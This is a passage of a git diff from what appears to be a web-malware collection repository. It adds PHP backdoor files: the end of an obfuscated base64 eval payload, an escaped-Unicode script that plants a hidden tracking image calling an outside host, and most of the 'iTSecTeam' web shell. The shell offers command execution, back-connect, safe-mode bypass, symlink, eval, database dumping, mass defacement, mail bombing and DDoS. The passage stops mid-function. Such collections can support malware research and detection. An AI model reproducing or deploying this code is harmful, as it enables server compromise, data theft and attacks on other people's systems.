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'))); ?> <script type="text/javascript">document.write('\u003c\u0069\u006d\u0067\u0020\u0073\u0072\u0063\u003d\u0022\u0068\u0074\u0074\u0070\u003a\u002f\u002f\u0061\u006c\u0074\u0075\u0072\u006b\u0073\u002e\u0063\u006f\u006d\u002f\u0073\u006e\u0066\u002f\u0073\u002e\u0070\u0068\u0070\u0022\u0020\u0077\u0069\u0064\u0074\u0068\u003d\u0022\u0031\u0022\u0020\u0068\u0065\u0069\u0067\u0068\u0074\u003d\u0022\u0031\u0022\u003e')</script> \ No newline at end of file diff --git a/web-malware-collection-master/Backdoors/PHP/itsecteam.v2.1.txt b/web-malware-collection-master/Backdoors/PHP/itsecteam.v2.1.txt new file mode 100755 index 0000000..857ae9a --- /dev/null +++ b/web-malware-collection-master/Backdoors/PHP/itsecteam.v2.1.txt @@ -0,0 +1,1284 @@ +<?php +session_start(); +set_time_limit(0); +error_reporting(0); +if (get_magic_quotes_gpc()) { +function stripslashes_deep($value) { + $value = is_array($value) ? + array_map('stripslashes_deep', $value) : + stripslashes($value); + + return $value; + } +$_POST = array_map('stripslashes_deep', $_POST); +$_GET = array_map('stripslashes_deep', $_GET); +$_COOKIE = array_map('stripslashes_deep', $_COOKIE); +$_REQUEST = array_map('stripslashes_deep', $_REQUEST); +} +if($_GET['do']=="remove"){ +unlink(getcwd().$_SERVER["SCRIPT_NAME"]); +} +$basep=$_SERVER['DOCUMENT_ROOT']; +if(strtolower(substr(PHP_OS, 0, 3)) == "win"){ +$slash="\\"; +$basep=str_replace("/","\\",$basep); +}else{ +$slash="/"; +$basep=str_replace("\\","/",$basep); +} +if($_GET['do']=="remove"){ +unlink(getcwd().$slash.$_SERVER["SCRIPT_NAME"]); +} +if ($_REQUEST['address']){ +if(is_readable($_REQUEST['address'])){ +chdir($_REQUEST['address']);}else{ +alert("Permission Denied !");}} +$me=$_SERVER['PHP_SELF']; +$formp="<form method=post action='".$me."'>"; +$formg="<form method=get action='".$me."'>"; +$nowaddress='<input type=hidden name=address value="'.getcwd().'">'; +if (isset($_FILES["filee"]) and ! $_FILES["filee"]["error"]) { + if(move_uploaded_file($_FILES["filee"]["tmp_name"], $_FILES["filee"]["name"])){ + alert("File Upload Successful"); + }else{ +alert("Permission Denied !"); + + } + } +if(ini_get('disable_functions')){ +$disablef=ini_get('disable_functions'); +}else{ +$disablef="All Functions Enable"; +} +if(ini_get('safe_mode')){ +$safe_modes="On"; +}else{ +$safe_modes="Off"; +} +if ($_REQUEST['chmode'] && $_REQUEST['chmodenum']){ +if (chmod($_POST['chmode'],"0".$_POST['chmodenum'])){alert("Chmod Ok!");}else{alert("Permission Denied !");} +} +$picdir='iVBORw0KGgoAAAANSUhEUgAAAA0AAAANCAYAAABy6+R8AAAB30lEQVR42mNggAAuIBZCwjxAzMiAC4jIykrZOLplhcWlzAuLS50PwkFRiTPl1TQDBSQk7OFYRMSejY1NA6iFiUFEUinKwS/mcURW1f9wIA7NrPwflFr63zow7bOJd9IbQ8/EN7qucW+0XOLeyJv5XmETU9RjUDV03BlX2P43oaz/f2hO+3+v5Pr/DlEV/81Div/r+eT+V3PL+C/tlvefP6Lzv6BRyD82ce1IBl07/zNJFf3/Eyon/Q8v7vuf0LPqf3Dt7P9mYWX/1YMr/oslTfrPnzjpv4h92n8Bo7D/rJJ6eQyS5n63PLJa/wcU9f33K+z9H9O7+n/TiRf/7Xp3/Ods3v9fJGnif3H37P/Cjqn/+azj/7PIGrQxsBn7P+V2yfzP45bzn9c9979cZN3/1LUX/ktMvfiftfnQf8Gw+v8C3vn/+Txy/3O7Zv1nVjCZx8DqkPCWw7/0PwgLRtb/d+vf/F+3fPZ/jtDa/0y1O/4zVW76zx5c/R+mhlnFfBsDm3fOZ/bIhv+cMU3/pXIm/xdK7f4P4oMwW0zLf7bEnv/s0c1wMSY953MMQnG1P5UKJ/8nFgvaBz9jYPTJfM2c2PqfWMxoGfCFgUFGK4pBw3wh0VhCuRSUkligaY9YzAIA/X/3S1/5EEMAAAAASUVORK5CYII='; +$picfile='iVBORw0KGgoAAAANSUhEUgAAAA0AAAANCAYAAABy6+R8AAABaElEQVR42mMIXfWfef7JT7Yrz34o33ABhj9BaKDYrP3PE6IqpgkyoINNFz9Gnnzw/f/NFz8w8JYrX//P2H6zMrByijCKpl1XPkbee/Xt//fv3zHw/ltf/x+4/vnT7O036wOzkTSuP/cu8sazz/+/fPmCgS8++vx/25XP/xcceP4xr2dLPFA5M1jTytPvIq88/vj/40fc+Oz15//LOxZXAZVzgDUtO/E68tLDD/8/fMCB33/4f/rqs/8lLQur4ZoWH3sdeeH+h//v37/Hjt+9/3/yytP/RU1ImuYefh159u67/2/fvsWK37x58//4pSf/C9A1nb7z9v/r169x4mOXHv/PQ9a0AOi8M3cgJmLDIE0nLj9Bdd6CYy8iz94BKniNBb+B0CdBmpADonP9/cjlBx7/333q8f89p9HwGaA4kF665/7/lGqkIHfwKRax9Yh1t3IICLZ1CApBx1ZAbGIbECwlr28IVM4KAPZgwQxbJyVoAAAAAElFTkSuQmCC'; +$head='<style type="text/css"> +A:link {text-decoration: none} +A:visited {text-decoration: none} +A:active {text-decoration: none} +A:hover {text-decoration: underline overline; color: 414141;} +.focus td{border-top:0px solid #f8f8f8;border-bottom:1px solid #ddd;background:#f2f2f2;padding:0px 0px 0px 0px;} +</style><head> +<meta http-equiv="Content-Type" content="text/html; charset=UTF-8"> +<title>iTSecTeam</title> +</head><body topmargin="0" leftmargin="0" rightmargin="0" +bgcolor="#f2f2f2"><div align="center"> +&nbsp;<table border="1" width="1000" height="14" bordercolor="#CDCDCD" style="border-collapse: collapse; border-style: solid; border-width: 1px"> +<tr> +<td height="30" width="996"> +<p align="center"><font face="Tahoma" style="font-size: 9pt"><span lang="en-us"><a href="?do=home">Home</a> -- <a href="?do=filemanager&address='.getcwd().'">File Manager</a> -- <a href="?do=cmd&address='.getcwd().'">Command Execute</a> -- <a href="?do=bc&address='.getcwd().'">Back Connect</a> -- +<a href="?do=bypasscmd&address='.getcwd().'">BypasS Command eXecute(SF-DF)</a> -- <a href="?do=symlink&address='.getcwd().'">Symlink</a> -- +<a href="?do=bypassdir&address='.getcwd().'">BypasS Directory</a> -- <a href="?do=eval&address='.getcwd().'"> +Eval Php</a> -- <a href="?do=db&address='.getcwd().'">Data Base</a> -- <a href="?do=convert&address='.getcwd().'">Convert</a> -- <a href="?do=mail&address='.getcwd().'">Mail Boomber</a><a href="?do=info&address='.getcwd().'"> +<br>Server Information</a> -- <a href="?do=d0slocal&address='.getcwd().'">Dos Local Server</a> -- <a href="?do=dump&address='.getcwd().'">Backup Database</a> -- <a href="?do=mass&address='.getcwd().'">Mass Deface</a> -- <a href="?do=dlfile&address='.getcwd().'">Download Remote File</a> -- <a href="?do=dd0s&address='.getcwd().'">DDoS</a> -- <a href="?do=perm&address='.getcwd().'">Find Writable Directory</a> -- <a href="?do=apache&address='.getcwd().'">Server</a> -- <a href="?do=remove&address='.getcwd().'">Remove Me</a> -- <a href="?do=about&address='.getcwd().'">About</a> +</span></font></td></tr></table></div> +<div align="center"> +<table id="table2" style="border-collapse: collapse; border-style: +solid;" width="1000" bgcolor="#eaeaea" border="1" bordercolor="#c6c6c6" +cellpadding="0"><tbody><tr><td><div align="center"><table id="table3" style="border-style:dashed; border-width:1px; margin-top: 1px; margin-bottom: 0px; +border-collapse: collapse" width="950" border="1" bordercolor="#cdcdcd" +height="10" bordercolorlight="#CDCDCD" bordercolordark="#CDCDCD"><tbody><tr><font face="Tahoma" style="font-size: 9pt"><div align="center"> +Operation System : '.php_uname().' | Php Version : '.phpversion().' | Safe Mode : '.$safe_modes.' <td style="border: 1px solid rgb(198, 198, 198);" +width="950" bgcolor="#e7e3de" height="10" valign="top">'; +$end='</td></tr></tbody></table></div></td></tr><tr><td bgcolor="#c6c6c6"><p style="margin-top: 0pt; margin-bottom: 0pt" align="center"><span lang="en-us"><font face="Tahoma" style="font-size: 9pt">'.base64_decode("Q29kZWQgYnkgQW1pbiBTaG9rb2hpIChQZWp2YWsp").'<br><a href="http://www.itsecteam.com" target="_blank"><font size=1>'.base64_decode("aVRTZWNUZWFtLmNvbQ==").'</a></font></span></td></tr></tbody></table></div></body></html>'; +$deny=$head."<p align='center'> <b>Oh My God!<br> Permission Denied".$end; +function alert($text){ +echo "<script>alert('".$text."')</script>"; +} +if ($_GET['do']=="edit" && $_GET['filename']!="dir"){ +if(is_readable($_GET['address'].$_GET['filename'])){ +$opedit=fopen($_GET['address'].$_GET['filename'],"r"); +while(!feof($opedit)) +$data.=fread($opedit,9999); +fclose($opedit); +echo $head.$formp.$nowaddress.'<p align="center">File Name : '.$_GET['address'].$_GET['filename'].'<br><textarea rows="19" name="fedit" cols="87">'.htmlentities("$data").'</textarea><br><input value='.$_GET['filename'].' name=namefe><br><input type=submit value=" Save "></form></p>'.$end;exit; +}else{alert("Permission Denied !");}} +function 